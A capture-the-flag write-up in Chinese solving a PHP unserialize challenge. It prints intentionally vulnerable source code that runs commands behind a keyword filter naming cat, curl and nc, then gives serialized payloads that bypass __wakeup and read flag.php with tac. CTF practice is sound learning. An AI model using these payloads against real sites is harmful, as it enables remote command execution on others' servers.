打開網頁發現是空白的,F12查看一下源代碼
發現提示
base64解碼后為:backups
提示有備份
御劍跑一下
得到網站備份網址,訪問下載備份
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); echo "<!-- YmFja3Vwcw== -->"; class ctf { protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; } function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('</br>flag能讓你這么容易拿到嗎?<br>'); } if ($this->username === 'admin') { // echo "<br>right!<br>"; $a = `$this->cmd`; var_dump($a); }else { echo "</br>給你個安慰獎吧,hhh!</br>"; die(); } } } $select = $_GET['code']; $res=unserialize(@$select); ?>
首先需要了解php的一些魔術方法的性質
- serialize() 函數會檢查類中是否存在一個魔術方法 __sleep()。如果存在,該方法會先被調用,然后才執行序列化操作。
- 與之相反,unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用
__wakeup
方法,預先准備對象需要的資源。 - __construct():PHP 允許開發者在一個類中定義一個方法作為構造函數。具有構造函數的類會在每次創建新對象時先調用此方法,所以非常適合在使用對象之前做一些初始化工作。
- __destruct():PHP 5 引入了析構函數的概念,這類似於其它面向對象的語言,如 C++。析構函數會在到某個對象的所有引用都被刪除或者當對象被顯式銷毀時執行。
需要注意的是當訪問控制符為private與protect時,序列化時比較特殊:
- protected屬性被序列化的時候屬性值會變成:%00*%00屬性名
- private屬性被序列化的時候屬性值會變成:%00類名%00屬性名
分析代碼
需要我們上傳一個code參數,程序會對其反序列化,當判斷username為admin時,會執行cmd內的代碼。
初步構造: O:3:"ctf":2:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
進行繞過:
因為調用unserialize函數之前會調用__wakeup方法,后面會將username覆蓋為guest。將變量個數修改為大於實際值的數就能夠繞過。
構造:O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
發現flag.php,但大部分輸出語句都被過濾了,但還是有些漏網之魚==,參考:https://blog.csdn.net/weixin_30344995/article/details/96261436?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control
使用tac指令讀取:O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}
得到flag
flag{Unser1alize_and_2CE_Add}